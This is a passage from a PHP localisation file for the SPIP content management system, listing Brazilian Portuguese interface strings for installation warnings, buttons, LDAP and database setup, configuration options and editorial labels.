'avis_connexion_ldap_echec_3' => 'Opcionalmente, não use o suporte LDAP para importar os usuários.',
'avis_deplacement_rubrique' => 'Atenção! Esta seção contém @contient_breves@ nota@scb@: se você a transferir, por favor, marque este quadrado.',
'avis_destinataire_obligatoire' => 'Você deve informar um destinatário antes de enviar esta mensagem.',
'avis_erreur_connexion_mysql' => 'Erro de conexão SQL',
'avis_erreur_version_archive' => '<b>Atenção! O arquivo @archive@ corresponde a uma versão de SPIP diferente da que você tem instalada.</b> Você enfrentará grandes dificuldades:
risco de destruição da sua base de dados, mal funcionamento generalizado do site etc. Não valide este pedido de importação. <p>Para mais informações, leia
<a href="@spipnet@">a documentação do SPIP</a>.</p>',
'avis_espace_interdit' => '<b>Área interdita</b><div>O SPIP já está instalado.</div>',
'avis_lecture_noms_bases_1' => 'O programa de instalação não pôde ler os nomes das bases de dados instaladas.',
'avis_lecture_noms_bases_2' => 'Ou nenhuma base de dados esta disponível, ou a função que permite listar as bases foi desativada por razões de segurança (o que é o caso de diversos provedores de hospedagem).',
'avis_lecture_noms_bases_3' => 'No segundo caso, é provável que uma base de dados com o nome do seu login possa ser utilizada:',
'avis_non_acces_message' => 'Você não tem acesso a esta mensagem.',
'avis_non_acces_page' => 'Você não tem acessoa a esta página.',
'avis_operation_echec' => 'A operação falhou.',
'avis_operation_impossible' => 'Operação impossível',
'avis_probleme_archive' => 'Problema de leitura do arquivo @archive@',
'avis_suppression_base' => 'ATENÇÃO, a supressão dos dados é irreversível',
'avis_version_mysql' => 'A versão do seu servidor SQL (@version_mysql@) não permite a auto-reparação das tabelas da base de dados.',
// B
'bouton_acces_ldap' => 'Incluir o acesso ao LDAP',
'bouton_ajouter' => 'Incluir',
'bouton_ajouter_participant' => 'INCLUIR UM PARTICIPANTE:',
'bouton_annonce' => 'AVISO',
'bouton_annuler' => 'Anular',
'bouton_checkbox_envoi_message' => 'possibilidade de enviar uma mensagem',
'bouton_checkbox_indiquer_site' => 'informar obrigatoriamente um website',
'bouton_checkbox_signature_unique_email' => 'uma única assinatura por endereço de e-mail',
'bouton_checkbox_signature_unique_site' => 'uma única assinatura por website',
'bouton_demande_publication' => 'Solicitar a publicação desta matéria',
'bouton_desactive_tout' => 'Desativar tudo',
'bouton_desinstaller' => 'Desinstalar',
'bouton_effacer_index' => 'Apagar os índices',
'bouton_effacer_tout' => 'Apagar TUDO',
'bouton_envoi_message_02' => 'ENVIAR UMA MENSAGEM',
'bouton_envoyer_message' => 'Mensagem definitiva: enviar',
'bouton_fermer' => 'Fechar',
'bouton_mettre_a_jour_base' => 'Atualizar a base de dados',
'bouton_modifier' => 'Alterar',
'bouton_pense_bete' => 'LEMBRETE DE USO PESSOAL',
'bouton_radio_activer_messagerie' => 'Ativar o sistema interno de mensagem',
'bouton_radio_activer_messagerie_interne' => 'Ativar o sistema interno de mensagens',
'bouton_radio_activer_petition' => 'Ativar a petição',
'bouton_radio_afficher' => 'Exibir',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Aparecer nas listas de redatores conectados',
'bouton_radio_desactiver_messagerie' => 'desativar o sistema interno de mensagens',
'bouton_radio_envoi_annonces_adresse' => 'Enviar os avisos para o endereço:',
'bouton_radio_envoi_liste_nouveautes' => 'Enviar a lista de novidades',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Não aparecer na lista de redatores',
'bouton_radio_non_envoi_annonces_editoriales' => 'Não enviar os avisos editoriais',
'bouton_radio_pas_petition' => 'Sem petição',
'bouton_radio_petition_activee' => 'Petição ativada',
'bouton_radio_supprimer_petition' => 'Excluir a petição',
'bouton_redirection' => 'REDIRECIONAMENTO',
'bouton_relancer_installation' => 'Reiniciar a instalação',
'bouton_suivant' => 'Avançar',
'bouton_tenter_recuperation' => 'Tentar uma reparação',
'bouton_test_proxy' => 'Testar o proxy',
'bouton_vider_cache' => 'Limpar o cache',
'bouton_voir_message' => 'Visualizar esta mensagem antes de validar',
// C
'cache_mode_compresse' => 'Os arquivos do cache são gravados em modo compactado.',
'cache_mode_non_compresse' => 'Os arquivos do cache são gravados em modo não compactado.',
'cache_modifiable_webmestre' => 'Este parâmetro é modificável pelo webmaster do site.',
'calendrier_synchro' => 'Se você usa um programa de agenda compatível com <b>iCal</b>, você pode sincronizá-lo com as informações deste site.',
'config_activer_champs' => 'Ativar os campos a seguir',
'config_choix_base_sup' => 'indicar uma base neste servidor',
'config_erreur_base_sup' => 'O SPIP não tem acesso à lista de bases acessíveis',
'config_info_base_sup' => 'Se você tiver outras bases de dados para serem consultadas via SPIP, em seu servidor SQL ou em outro, o formulário abaixo permite configurá-las. Se você deixar determinados campos em branco, os dados de conexão da base principal serão utilizados.',
'config_info_base_sup_disponibles' => 'Bases suplementares já consultáveis:',
'config_info_enregistree' => 'A nova configuração foi gravada',
'config_info_logos' => 'Cada elemento do site pode ter um ícone, bem como um ícone de «mouseOver»',
'config_info_logos_utiliser' => 'Usar os ícones',
'config_info_logos_utiliser_non' => 'Não usar o ícones',
'config_info_logos_utiliser_survol' => 'Usar os ícones de mouseOver',
'config_info_logos_utiliser_survol_non' => 'Não usar os ícones de mouseOver',
'config_info_redirection' => 'Ao ativar esta opção, você poderá criar matérias virtuais, meras referências a matérias publicadas em outros sites ou fora do SPIP.',
'config_redirection' => 'Matérias virtuais',
'config_titre_base_sup' => 'Configuração de uma base suplementar',
'config_titre_base_sup_choix' => 'Escolha uma base suplementar',
'connexion_ldap' => 'Conexão:',
'copier_en_local' => 'Copiar localmente',
'creer_et_associer_un_auteur' => 'Criar e associar um autor',
'creer_et_associer_une_rubrique' => 'Criar e associar uma seção',
// D
'date_mot_heures' => 'horas',
// E
'ecran_securite' => ' + tela de segurança @version@',
'email' => 'e-mail',
'email_2' => 'e-mail:',
'en_savoir_plus' => 'Saiba mais',
'entree_adresse_annuaire' => 'Endereço do catálogo',
'entree_adresse_email' => 'Seu endereço de e-mail',
'entree_adresse_email_2' => 'Endereço de e-mail',
'entree_base_donnee_1' => 'Endereço da base de dados',
'entree_base_donnee_2' => '(Frequentemente este endereço corresponde ao do seu site, às vezes ele corresponde ao nome «localhost», algumas vezes ele deve ser deixado completamente em branco.)',
'entree_biographie' => 'Biografia curta em poucas palavras.',
'entree_chemin_acces' => '<b>Informe</b> o caminho de acesso:',
'entree_cle_pgp' => 'Sua chave PGP',
'entree_cle_pgp_2' => 'Chave PGP',
'entree_contenu_rubrique' => '(Conteúdo da seção em poucas palavras.)',
'entree_identifiants_connexion' => 'Seus identificadores de conexão...',
'entree_identifiants_connexion_2' => 'Dados de conexão',
'entree_informations_connexion_ldap' => 'Informe os seus dados de conexão ao seu catálogo LDAP.
Estas informações deverão ser fornecidas pelo administrador do sistema ou da rede.',
'entree_infos_perso' => 'Quem é você?',
'entree_infos_perso_2' => 'Quem é o autor?',
'entree_interieur_rubrique' => 'No interior da seção:',
'entree_liens_sites' => '<b>Link hipertexto</b> (referência, site a visitar...)',
'entree_login' => 'Seu login',
'entree_login_connexion_1' => 'O login de conexão',
'entree_login_connexion_2' => '(Frequentemente corresponde ao seu login para acesso por FTP; às vezes pode ficar em branco)',
'entree_login_ldap' => 'Login LDAP inicial',
'entree_mot_passe' => 'Sua senha',
'entree_mot_passe_1' => 'A senha de conexão',
'entree_mot_passe_2' => '(Frequentemente corresponde à sua senha para acesso por FTP; às vezes é deixado em branco)',
'entree_nom_fichier' => 'Por favor, entre o nome do arquivo @texte_compresse@:',
'entree_nom_pseudo' => 'Seu nome ou apelido',
'entree_nom_pseudo_1' => '(Seu nome ou apelido)',
'entree_nom_pseudo_2' => 'Nome ou apelido',
'entree_nom_site' => 'O nome do seu site',
'entree_nom_site_2' => 'Nome do site do autor',
'entree_nouveau_passe' => 'Nova senha',
'entree_passe_ldap' => 'Senha',
'entree_port_annuaire' => 'O número da porta do catálogo',
'entree_signature' => 'Assinatura',
'entree_titre_obligatoire' => '<b>Título</b> [Obrigatório]<br />',
'entree_url' => 'O endereço (URL) do seu site',
'entree_url_2' => 'Endereço (URL) do site',
'erreur_connect_deja_existant' => 'Já existe um servidor com esse nome',
'erreur_nom_connect_incorrect' => 'Este nome de servidor não é autorizado',
'erreur_plugin_desinstalation_echouee' => 'A desinstalação do plugin falhou. No entanto, você pode desativá-lo.',
'erreur_plugin_fichier_absent' => 'Arquivo ausente',
'erreur_plugin_fichier_def_absent' => 'Arquivo de definição ausente',
'erreur_plugin_nom_fonction_interdit' => 'Nome de função não permitido',
'erreur_plugin_nom_manquant' => 'Nome do plugin ausente',
'erreur_plugin_prefix_manquant' => 'Área de nomeação do plugin não definida',
'erreur_plugin_tag_plugin_absent' => '<plugin> ausente no arquivo de definição',
'erreur_plugin_version_manquant' => 'Versão do plugin ausente',
// H
'htaccess_a_simuler' => 'Aviso: a configuração do seu servidor HTTP não leva em conta os arquivos @htaccess@. Para poder garantir um bom nível de segurança, é preciso que você altere esta configuração, ou que as constantes @constantes@ (definíveis no arquivo mes_options.php) tenham como valor os diretórios abaixo de @document_root@.',
'htaccess_inoperant' => 'htaccess inoperante',
// I
'ical_info1' => 'Esta página apresenta diversos métodos para se manter em contato com a vida deste site.',
'ical_info2' => 'Para mais informações sobre todas estas técnicas, não deixe de consultar <a href="@spipnet@">a documentação do SPIP</a>.',
'ical_info_calendrier' => 'Dois calendários estão à sua disposição. O primeiro é um mapa do site anunciando todas as matérias publicadas. O segundo contém os avisos editoriais bem como suas últimas mensagens privadas: ele lhe é reservado graças a uma chave pessoal, que você pode alterar a qualquer momento ao renovar a sua senha.',
'ical_methode_http' => 'Transferência',
'ical_methode_webcal' => 'Sincronização (webcal://)',
'ical_texte_js' => 'Uma linha de javascript permite-lhe exibir de forma simples, em qualquer site que lhe pertença, as matérias recentemente publicadas neste site.',
'ical_texte_prive' => 'Este calendário, de uso estritamente pessoal, o informa sobre a atividade editorial privada deste site (tarefas e encontros pessoais, matérias e notas propostas...).',
'ical_texte_public' => 'Este calendário permite-lhe acompanhar a atividade pública deste site (matérias e notas publicadas).',
'ical_texte_rss' => 'Você pode sindicar as novidades deste site em qualquer leitor de arquivos em formato XML/RSS (Rich Site Summary). É também o formato que permite ao SPIP ler as novidades publicadas em outros sites que utilizen um formato de troca de informações compatível (sites sindicados).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Mailing-list',
'ical_titre_rss' => 'Arquivos de sindicação',
'icone_accueil' => 'Página Inicial',
'icone_activer_cookie' => 'Ativar o coockie de correspondência',
'icone_activite' => 'Atividade',
'icone_admin_plugin' => 'Gerenciamento dos plugins',
'icone_administration' => 'Manutenção',
'icone_afficher_auteurs' => 'Exibir os autores',
'icone_afficher_visiteurs' => 'Exibir os visitantes',
'icone_arret_discussion' => 'Não participar mais desta discussão',
'icone_calendrier' => 'Calendário',
'icone_configuration' => 'Configuração',
'icone_creer_auteur' => 'Criar um novo autor e associá-lo a esta matéria',
'icone_creer_mot_cle' => 'Criar uma nova palavra-chave e ligá-la a esta matéria',
'icone_creer_mot_cle_rubrique' => 'Criar uma nova palavra-chave e associá-la a esta seção',
'icone_creer_mot_cle_site' => 'Criar uma nova palavra-chave e associá-la a este site',
'icone_creer_rubrique_2' => 'Criar uma nova seção',
'icone_edition' => 'Edição',
'icone_envoyer_message' => 'Enviar esta mensagem',
'icone_ma_langue' => 'Meu idioma',
'icone_mes_infos' => 'Minhas informações',
'icone_mes_preferences' => 'Minhas preferências',
'icone_modifier_article' => 'Editar esta matéria',
'icone_modifier_message' => 'Editar esta mensagem',
'icone_modifier_rubrique' => 'Editar esta seção',
'icone_publication' => 'Publicação',
'icone_relancer_signataire' => 'Reconfirmar o assinante',
'icone_retour' => 'Voltar',
'icone_retour_article' => 'Voltar para a matéria',
'icone_squelette' => 'Templates',
'icone_suivi_publication' => 'Acompanhamento da publicação',
'icone_supprimer_cookie' => 'Suprimir o cookie de correspondência',
'icone_supprimer_rubrique' => 'Suprimir esta seção',
'icone_supprimer_signature' => 'Suprimir esta assinatura',
'icone_valider_signature' => 'Validar esta assinatura',
'image_administrer_rubrique' => 'Você pode administrar esta seção',
'impossible_modifier_login_auteur' => 'Não foi possível alterar o login.',
'impossible_modifier_pass_auteur' => 'Não foi possível alterar a senha.',
'info_1_article' => '1 matéria',
'info_1_article_syndique' => '1 matéria sindicada',
'info_1_auteur' => '1 autor',
'info_1_message' => '1 mensagem',
'info_1_mot_cle' => '1 palavra-chave',
'info_1_rubrique' => '1 seção',
'info_1_site' => '1 site',
'info_1_visiteur' => '1 visitante',
'info_activer_cookie' => 'Você pode ativar um <b>cookie de correspondência</b>, que lhe permitirá passar facilmente do site público para o site privado.',
'info_admin_etre_webmestre' => 'Me conceder direitos de webmaster',
'info_admin_gere_rubriques' => 'este administrador gerencia as seguintes seções:',
'info_admin_gere_toutes_rubriques' => 'Este administrador gerencia <b>todas as seções</b>',
'info_admin_gere_toutes_rubriques_2' => 'Eu gerencio <b>todas as seções</b>',
'info_admin_je_suis_webmestre' => 'Eu sou <b>webmaster</b>',
'info_admin_statuer_webmestre' => 'Dar a este administrador os direitos de webmaster',
'info_admin_webmestre' => 'Este administrador é <b>webmaster</b>',
'info_administrateur' => 'Administrador',
'info_administrateur_1' => 'Administrador',
'info_administrateur_2' => 'do site (<i>utilize com cuidado</i>)',
'info_administrateur_site_01' => 'Se você é administrador do site, por favor,',
'info_administrateur_site_02' => 'clique neste link',
'info_administrateurs' => 'Administradores',
'info_administrer_rubrique' => 'Você pode administrar esta seção',
'info_adresse' => 'no endereço:',
'info_adresse_url' => 'Endereço (URL) do site público',
'info_afficher_par_nb' => 'Exibir por',
'info_afficher_visites' => 'Exibir as visitas para:',
'info_aide_en_ligne' => 'Ajuda online SPIP',
'info_ajout_image' => 'Assim que você incluir imagens e documentos anexados a uma matéria, o SPIP pode criar para você, automaticamente, ícones (miniaturas) das imagens inseridas. Isto permite, por exemplo, criar automaticamente uma galeria ou um portfólio.',
'info_ajout_participant' => 'O participante a seguir foi incluído:',
'info_ajouter_rubrique' => 'Incluir outra seção para administrar:',
'info_annonce_nouveautes' => 'Aviso das novidades',
'info_anterieur' => 'anterior',
'info_article' => 'matéria',
'info_article_2' => 'matérias',
'info_article_a_paraitre' => 'As matérias pós-datadas para exibição',
'info_articles_02' => 'matérias',
'info_articles_2' => 'Matérias',
'info_articles_auteur' => 'As matérias deste autor',
'info_articles_miens' => 'Minhas matérias',
'info_articles_tous' => 'Todas as matérias',
'info_articles_trouves' => 'Matérias encontradas',
'info_articles_trouves_dans_texte' => 'Matérias encontradas (no texto)',
'info_attente_validation' => 'Suas matérias aguardando validação',
'info_aucun_article' => 'Nenhuma matéria',
'info_aucun_article_syndique' => 'Nenhuma matéria sindicada',
'info_aucun_auteur' => 'Nenhum autor',
'info_aucun_message' => 'Nenhuma mensagem',
'info_aucun_rubrique' => 'Nenhuma seção',
'info_aucun_site' => 'Nenhum site',
'info_aucun_visiteur' => 'Nenhum visitante',
'info_aujourdhui' => 'Hoje:',
'info_auteur_message' => 'AUTOR DA MENSAGEM:',
'info_auteurs' => 'Os autores',
'info_auteurs_par_tri' => 'Autores@partri@',
'info_auteurs_trouves' => 'Autores encontrados',
'info_authentification_externe' => 'Autentificação externa',
'info_avertissement' => 'Aviso',
'info_barre_outils' => 'com sua barra de ferramentas?',
'info_base_installee' => 'A estrutura da sua base de dados foi instalada.',
'info_bio' => 'Biografia',
'info_chapeau' => 'Introdução',
'info_chapeau_2' => 'Introdução:',
'info_chemin_acces_1' => 'Opções: <b>Caminho de acesso no diretório</b>',
'info_chemin_acces_2' => 'A partir daqui, você deverá configurar o caminho de acesso às informações do diretório. Esta informação é indispensávelpara ler os perfis dos usuários no diretório.',
'info_chemin_acces_annuaire' => 'Opções: <b>Caminho de acesso no diretório</b>',
'info_choix_base' => 'Terceiro passo:',
'info_classement_1' => '<sup><u>o</u></sup> em @liste@',
'info_classement_2' => '<sup><u>a</u></sup> em @liste@',
'info_code_acces' => 'Não se esqueça dos seus códigos de acesso!',
'info_compatibilite_html' => 'Norma HTML a ser seguida',
'info_compresseur_gzip' => 'É recomendavel que se verifique previamente se o serviço de hospedagem já comprime sistematicamente os scripts php; para isso, você pode, por exemplo, usar o serviço a seguir: @testgzip@',
'info_compresseur_texte' => 'Se o seu servidor não comprime automaticamente as páginas html para enviá-las aos internautas, você pode tentar forçar esta compressão diminuindo o peso das páginas transferidas. <b>Atenção</b>: isto pode retardar consideravelmente alguns servidores.',
'info_config_suivi' => 'Se este endereço corresponde a uma mailing-list, você pode informar abaixo o endereço onde os participantes do site podem se inscrever. Este endereço pode ser um URL (por exemplo a página de inscrição na lista pela Web), ou um endereço de e-mail dotado de um assunto específico (par exemple: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Voce pode assinar a mailing-list deste site. Você irá receber por e-mail, os avisos de matérias e notas propostos para publicação.',
'info_confirmer_passe' => 'Confirmar a nova senha:',
'info_conflit_edition_avis_non_sauvegarde' => 'Atenção os campos a seguir foram alterados por terceiros. As suas modificações nestes campos não foram, por isso, gravadas.',
'info_conflit_edition_differences' => 'Diferenças:',
'info_conflit_edition_version_enregistree' => 'A versão gravada:',
'info_conflit_edition_votre_version' => 'A sua versão:',
'info_connexion_base' => 'Teste de conexão com a base',
'info_connexion_base_donnee' => 'Conexão à sua base de dados',
'info_connexion_ldap_ok' => '<b>A conexão LDAP foi efetuada.</b><p>Você pode passar para o próximo passo.</p>',
'info_connexion_mysql' => 'Sua conexão SQL',
'info_connexion_ok' => 'A conexão foi obtida.',
'info_contact' => 'Contato',
'info_contenu_articles' => 'Conteúdo das matérias',
'info_contributions' => 'Contribuições',
'info_creation_paragraphe' => 'Para criar parágrafos, basta deixar linhas em branco.',
'info_creation_rubrique' => 'Antes de poder escrever matérias, você deve criar, pelo menos, uma seção.<br />',
'info_creation_tables' => 'Criação das tabelas da base',
'info_creer_base' => '<b>Criar</b> uma nova base de dados:',
'info_dans_rubrique' => 'Na seção:',
'info_date_publication_anterieure' => 'Data de redação anterior:',
'info_date_referencement' => 'DATA DE REFERENCIAMENTO DESTE SITE:',
'info_derniere_etape' => 'Terminou!',
'info_derniers_articles_publies' => 'Suas últimas matérias publicadas online',
'info_desactiver_messagerie_personnelle' => 'Você pode ativar ou desativar o seu sistema pessoal de mensagens neste site.',
'info_descriptif' => 'Descrição:',
'info_desinstaller_plugin' => 'exclui os dados e desativa o plugin',
'info_discussion_cours' => 'Discussões em andamento',
'info_ecrire_article' => 'Antes de poder escrever matérias, você precisa criar pelo menos uma seção.',
'info_email_envoi' => 'Endereço de e-mail de envio (opcional)',
'info_email_envoi_txt' => 'Informe aqui o endereço a ser utilizado para enviar os e-mails (por padrão, o endereço de destino será usado como endereço de envio):',
'info_email_webmestre' => 'Endereço de e-mail do webmaster',
'info_entrer_code_alphabet' => 'Informe o código de alfabeto a ser usado:',
'info_envoi_email_automatique' => 'Envio automático de e-mails',
'info_envoyer_maintenant' => 'Enviar agora',
'info_etape_suivante' => 'Avançar para a próxima etapa',
'info_etape_suivante_1' => 'Você pode passar para a próxima etapa.',
'info_etape_suivante_2' => 'Você pode passar para a próxima etapa.',
'info_exceptions_proxy' => 'Exceções para o proxy',
'info_exportation_base' => 'exportação da base para @archive@',
'info_facilite_suivi_activite' => 'Para facilitar o acompanhamento da atividade editorial do site, o SPIP pode enviar por e-mail, por exemplo a uma mailing-list de redatores, avisos dos pedidos de publicação e das validações das matérias.',
'info_fichiers_authent' => 'Arquivos de autenticação «.htpasswd»',
'info_forums_abo_invites' => 'O seu site comporta fóruns por assinatura; os visitantes são convidados a se registrar no site público.',
'info_gauche_admin_effacer' => '<b>Esta página é acessível apenas aos responsáveis pelo site.</b><p> Ela dá acesso às diferentes funções de manutenção técnica. Algumas dessas funções possuem um processo específico de autenticação que exige acesso FTP ao website.</p>',
'info_gauche_admin_tech' => '<b>Esta página é acessível apenas aos responsáveis pelo site.</b><p>Ela dá acesso às diferentes funções de manutenção técnica. Algumas dessas funções possuem um processo específico de autenticação que exige acesso FTP ao website.</p>',
'info_gauche_admin_vider' => '<b>Esta página é acessível apenas aos responsáveis pelo site.</b><p> Ela dá acesso às diferentes funções de manutenção técnica. Algumas dessas funções possuem um processo específico de autenticação que exige acesso FTP ao website.</p>',
'info_gauche_auteurs' => 'Aqui, você encontra todos os autores do site.
Os status dos autores é indicado pela côr dos ícones (administrador = verde; redator = amarelo).',
'info_gauche_auteurs_exterieurs' => 'Os autores externos, sem acesso ao site, são indicados por um ícone azul;
os autores excluídos por um ícone cinza.',
'info_gauche_messagerie' => 'O sistema interno de mensagens permite a troca de mensagens entre redatores, a criação de lembretes (para seu uso pessoal) ou de exibir anúncios na página de entrada da área privada (se você fôr administrador).',
'info_gauche_numero_auteur' => 'AUTOR NÚMERO',
'info_gauche_statistiques_referers' => 'Esta página apresenta a lista dos <i>referers</i>, ou seja, dos sites que contêm links para o seu site, unicamente para ontem e hoje; esta lista é zerada a cada 24 horas.',
'info_gauche_visiteurs_enregistres' => 'Você encontrará aqui os visitantes registrados na área pública do site (fóruns por assinatura).',
'info_generation_miniatures_images' => 'Geração de miniaturas das imagens',
'info_gerer_trad' => 'Gerenciar os links de tradução?',
'info_gerer_trad_objets' => '@objets@ : gerenciar os links de tradução',
'info_hebergeur_desactiver_envoi_email' => 'Alguns serviços de hospedagem desativam o envio automático de e-mails a partir dos seus servidores. Neste caso, as funcionalidades a seguir não funcionarão.',
'info_hier' => 'ontem:',
'info_historique_activer' => 'Ativar o acompanhamento de versões',
'info_historique_affiche' => 'Exibir esta versão',
'info_historique_comparaison' => 'comparação',
'info_historique_desactiver' => 'Desativar o acompanhamento de versões',
'info_historique_texte' => 'O acompanhamento de versões permite conservar um histórico de todas as modificações feitas ao conteúdo de uma matéria, e de exibir as diferenças entre as versões sucessivas.',
'info_identification_publique' => 'Sua identificação pública...',
'info_image_process' => 'Por favor, selecione o melhor método de criação dos ícones, clicando na imagem correspondente.',
'info_image_process2' => 'Se nenhuma imagem está sendo exibida, o servidor que hospeda o seu site não foi configurado para utilizar essas ferramentas. Se você deseja usar essas funções, contate o responsável técnico e solicite as extensões «GD» ou «Imagick».',
'info_images_auto' => 'Imagens calculadas automaticamente',
'info_informations_personnelles' => 'Informações pessoais',
'info_inscription_automatique' => 'Inscrição automática de novos redatores',
'info_jeu_caractere' => 'Conjunto de caracteres do site',
'info_jours' => 'dias',
'info_laisser_champs_vides' => 'deixar estes campos vazios)',
'info_langues' => 'Idiomas do site',
'info_ldap_ok' => 'A autenticação LDAP está instalada.',
'info_lien_hypertexte' => 'Link hipertexto:',
'info_liste_nouveautes_envoyee' => 'A lista de novidades foi enviada',
'info_liste_redacteurs_connectes' => 'Lista de redatores conectados',
'info_login_existant' => 'Este login já está cadastrado.',
'info_login_trop_court' => 'Login muito curto.',
'info_login_trop_court_car_pluriel' => 'O login deve conter pelo menos @nb@ caracteres.',
'info_logos' => 'Os ícones',
'info_maximum' => 'máximo:',
'info_meme_rubrique' => 'Na mesma seção',
'info_message' => 'Mensagem de',
'info_message_efface' => 'MENSAGEM APAGADA',
'info_message_en_redaction' => 'Suas mensagens em fase de redação',
'info_message_technique' => 'Mensagem técnica:',
'info_messagerie_interne' => 'Mensagem interna',
'info_mise_a_niveau_base' => 'atualização da sua base SQL',
'info_mise_a_niveau_base_2' => '{{Atenção!}} Você instalou uma versão de arquivos SPIP {anterior} à que estava instalada no site: a sua base de dados corre o risco de se corromper e o seu site não funcionar mais.<br />{{Reinstale os arquivos SPIP.}}',
'info_modification_enregistree' => 'Sua alteração foi gravada',
'info_modifier_auteur' => 'Alterar o autor:',
'info_modifier_rubrique' => 'Editar a seção:',
'info_modifier_titre' => 'Editar: @titre@',
'info_mon_site_spip' => 'Meu site SPIP',
'info_mot_sans_groupe' => '(Palavras-chave sem grupo...)',
'info_moteur_recherche' => 'Motor de busca integrado',
'info_moyenne' => 'média:',
'info_multi_articles' => 'Ativar o menu de idioma para as matérias?',
'info_multi_cet_article' => 'Idioma desta matéria:',
'info_multi_langues_choisies' => 'Por favor, selecione a seguir os idiomas à disposição dos redatores do seu site.
Os idiomas já utilizados no site (no topo da lista) não podem ser desativados.',
'info_multi_objets' => '@objets@ : ativar o menu de idioma',
'info_multi_rubriques' => 'Ativar o menu de idiomas nas seções?',
'info_multi_secteurs' => '... apenas para as seções situadas na raiz?',
'info_nb_articles' => '@nb@ matérias',
'info_nb_articles_syndiques' => '@nb@ matérias sindicadas',
'info_nb_auteurs' => '@nb@ autores',
'info_nb_messages' => '@nb@ mensagens',
'info_nb_mots_cles' => '@nb@ palavras-chave',
'info_nb_rubriques' => '@nb@ seções',
'info_nb_sites' => '@nb@ sites',
'info_nb_visiteurs' => '@nb@ visitantes',
'info_nom' => 'Nome',
'info_nom_destinataire' => 'Nome do destinatário',
'info_nom_site' => 'Nome do seu site',
'info_nombre_articles' => '@nb_articles@ matérias,',
'info_nombre_partcipants' => 'PARTICIPANTES DA DISCUSSÃO:',
'info_nombre_rubriques' => '@nb_rubriques@ seções,',
'info_nombre_sites' => '@nb_sites@ sites,',
'info_non_deplacer' => 'Não mover...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'O SPIP pode enviar regularmente o anúncio das últimas novidades do site (matérias e notas publicadas recentemente).',
'info_non_envoi_liste_nouveautes' => 'Não enviar a lista de novidades',
'info_non_modifiable' => 'não pode ser modificado',
'info_non_suppression_mot_cle' => 'Eu não quero excluir esta palavra-chave.',
'info_note_numero' => 'Nota @numero@',
'info_notes' => 'Observações',
'info_nouveaux_message' => 'Novas mensagens',
'info_nouvel_article' => 'Nova matéria',
'info_nouvelle_traduction' => 'Nova tradução:',
'info_numero_article' => 'MATÉRIA NÚMERO:',
'info_obligatoire_02' => '(obrigatório)',
'info_option_accepter_visiteurs' => 'Aceitar a inscrição de visitantes do site público',
'info_option_faire_suivre' => 'Encaminhar as mensagens dos fóruns aos autores das matérias',
'info_option_ne_pas_accepter_visiteurs' => 'Recusar a inscrição dos visitantes',
'info_options_avancees' => 'OPÇÕES AVANÇADAS',
'info_ortho_activer' => 'Ativar o corretor ortográfico',
'info_ortho_desactiver' => 'Desativar o corretor ortográfico',
'info_ou' => 'ou...',
'info_page_interdite' => 'Página não autorizada',
'info_par_nom' => 'por nome',
'info_par_nombre_article' => 'por número de matérias',
'info_par_statut' => 'por status',
'info_par_tri' => '’(por @tri@)’',
'info_passe_trop_court' => 'Senha muito curta.',
'info_passe_trop_court_car_pluriel' => 'A senha deve conter pelo menos @nb@ caracteres.',
'info_passes_identiques' => 'As duas senhas não são idênticas.',
'info_pense_bete_ancien' => 'Seus lembretes antigos',
'info_plus_cinq_car' => 'mais de 5 caracteres',
'info_plus_cinq_car_2' => '(Mais de 5 caracteres)',
'info_plus_trois_car' => '(Mais de 3 caracteres)',
'info_popularite' => 'popularidade: @popularite@; visitas: @visites@',
'info_popularite_4' => 'popularidade: @popularite@ ; visitas: @visites@',
'info_post_scriptum' => 'Rodapé',
'info_post_scriptum_2' => 'Rodapé:',
'info_pour' => 'para',
'info_preview_admin' => 'Apenas os administradores podem visualizar o site',
'info_preview_comite' => 'Todos os redatores podem visualizar o site',
'info_preview_desactive' => 'A visualização está totalmente desativada',
'info_preview_texte' => 'É possível visualizar o site como se todas as matérias e notas (tendo pelo menos o status de «proposta») estivessem publicadas. Esta possibilidade deve estar disponível apenas para os administradores, para todos os redatores, ou para ninguém?',
'info_principaux_correspondants' => 'Seus correspondentes principais',
'info_procedez_par_etape' => 'proceder passo-a-passo',
'info_procedure_maj_version' => 'o procedimento de atualização deve ser rodado para adaptar a base de dados à nova versão do SPIP.',
'info_proxy_ok' => 'Teste do proxy com sucesso',
'info_ps' => 'P.S.',
'info_publier' => 'publicar',
'info_publies' => 'Suas matérias publicadas online',
'info_question_accepter_visiteurs' => 'Se os templates do seu site prevêem o cadastramento de visitantes sem acesso à área privada, por favor, ative a opção abaixo:',
'info_question_inscription_nouveaux_redacteurs' => 'Você quer aceitar inscrições de novos redatores a partir do site público? Se você aceitar, os visitantes poderão se cadastrar através de um formulário automatizado, tendo acesso à área privada para propôr as suas próprias matérias. <div class="notice">Durante a fase de inscrição, os usuários recebem um e-mail automático, fornecendo-lhes os seus códigos de acesso à área privada. Alguns serviços de hospedagem desativam o envio de e-mails a partir dos seus servidores: nesse caso, a inscrição automática é impossível.</div>',
'info_question_utilisation_moteur_recherche' => 'Você deseja usar o motor de busca integrado ao SPIP? (desativá-lo acelera o funcionamento do sistema.)',
'info_question_vignettes_referer_non' => 'Não exibir as capturas dos sites de origem das visitas',
'info_qui_edite' => '@nom_auteur_modif@ trabalhou neste conteúdo há @date_diff@ minutos',
'info_racine_site' => 'Raiz do site',
'info_recharger_page' => 'Por favor, atualize esta página em alguns instantes.',
'info_recherche_auteur_a_affiner' => 'Demasiados resultados para "@cherche_auteur@"; por favor, refine a consulta.',
'info_recherche_auteur_ok' => 'Demasiados redatores encontrados para "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'Nenhum resultado para « @cherche_auteur@ ».',
'info_recommencer' => 'Por favor, recomece.',
'info_redacteur_1' => 'Redator',
'info_redacteur_2' => 'com acesso à área privada (<i>recomendado</i>)',
'info_redacteurs' => 'Redatores',
'info_redaction_en_cours' => 'EM FASE DE REDAÇÃO',
'info_redirection' => 'Redirecionamento',
'info_redirection_activee' => 'O redirecionamento foi ativado.',
'info_redirection_desactivee' => 'O redirecionamento foi excluído.',
'info_refuses' => 'Suas matérias recusadas',
'info_reglage_ldap' => 'Opções: <b>Configuração da importação LDAP</b>',
'info_renvoi_article' => '<b>Redirecionamento.</b> Esta matéria redireciona para a página:',
'info_reserve_admin' => 'Apenas os administradores podem alterar este endereço.',
